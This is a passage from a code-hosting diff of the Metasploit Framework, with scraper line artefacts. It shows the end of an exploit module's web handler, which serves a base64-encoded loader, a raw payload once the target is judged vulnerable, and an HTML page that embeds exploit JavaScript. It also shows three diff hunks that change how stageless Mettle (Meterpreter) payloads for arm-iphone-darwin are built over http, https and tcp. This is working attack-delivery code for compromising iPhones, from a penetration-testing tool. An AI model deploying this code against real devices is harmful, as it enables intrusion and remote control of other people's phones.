loader_data[payload_url_index, payload_url.length] = payload_url
|
||||
loader_data = Rex::Text.encode_base64(loader_data)
|
||||
send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })
|
||||
return
|
||||
elsif request.uri.starts_with? '/payload'
|
||||
print_good('Target is vulnerable, sending payload!')
|
||||
send_response(cli, payload.raw, { 'Content-Type' => 'application/octet-stream' })
|
||||
return
|
||||
end
|
||||
|
||||
html = <<~HTML
|
||||
<html>
|
||||
<body>
|
||||
<script>
|
||||
#{exploit_js}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
HTML
|
||||
|
||||
send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })
|
||||
end
|
||||
|
||||
end
|
|
@ -41,6 +41,6 @@ module MetasploitModule
|
|||
scheme: 'http',
|
||||
stageless: true
|
||||
}
|
||||
MetasploitPayloads::Mettle.new('arm-iphone-darwin', generate_config(opts)).to_binary :exec
|
||||
MetasploitPayloads::Mettle.new('arm-iphone-darwin', generate_config(opts)).to_binary :sha1
|
||||
end
|
||||
end
|
||||
|
|
|
@ -41,6 +41,6 @@ module MetasploitModule
|
|||
scheme: 'https',
|
||||
stageless: true
|
||||
}
|
||||
MetasploitPayloads::Mettle.new('arm-iphone-darwin', generate_config(opts)).to_binary :exec
|
||||
MetasploitPayloads::Mettle.new('arm-iphone-darwin', generate_config(opts)).to_binary :sha1
|
||||
end
|
||||
end
|
||||
|
|
|
@ -41,6 +41,6 @@ module MetasploitModule
|
|||
scheme: 'tcp',
|
||||
stageless: true
|
||||
}
|
||||
MetasploitPayloads::Mettle.new('arm-iphone-darwin', generate_config(opts)).to_binary :exec
|
||||
MetasploitPayloads::Mettle.new('arm-iphone-darwin', generate_config(opts)).to_binary :sha1
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue